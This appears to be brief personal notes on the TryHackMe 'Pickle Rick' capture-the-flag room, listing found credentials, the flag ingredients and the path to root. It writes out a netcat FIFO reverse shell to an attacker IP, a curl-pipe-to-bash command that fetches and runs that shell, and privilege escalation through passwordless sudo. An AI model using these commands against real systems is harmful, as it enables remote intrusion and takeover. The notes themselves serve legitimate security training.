Ex-iT's Notes

Pickle Rick

tryhackme
Pickle Rick

Webpage source

plaintext
Username: R1ckRul3s

Robots.txt: Wubbalubbadubdub

SHELL

shell.sh:

bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.31.119 4444 >/tmp/f

Executing the shell:

bash
curl 10.9.31.119:8000/shell.sh | bash
bash
www-data@ip-10-10-70-96:/var/www/html$ cat Sup3rS3cretPickl3Ingred.txt
cat Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair

second ingredients

bash
www-data@ip-10-10-70-96:/home/rick$ cat *

www-data has all sudo rights?

bash
User www-data may run the following commands on ip-10-10-70-96.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL
bash
sudo cat /root/3rd.txt
3rd ingredients: fleeb juice

ROOT

bash
sudo bash -p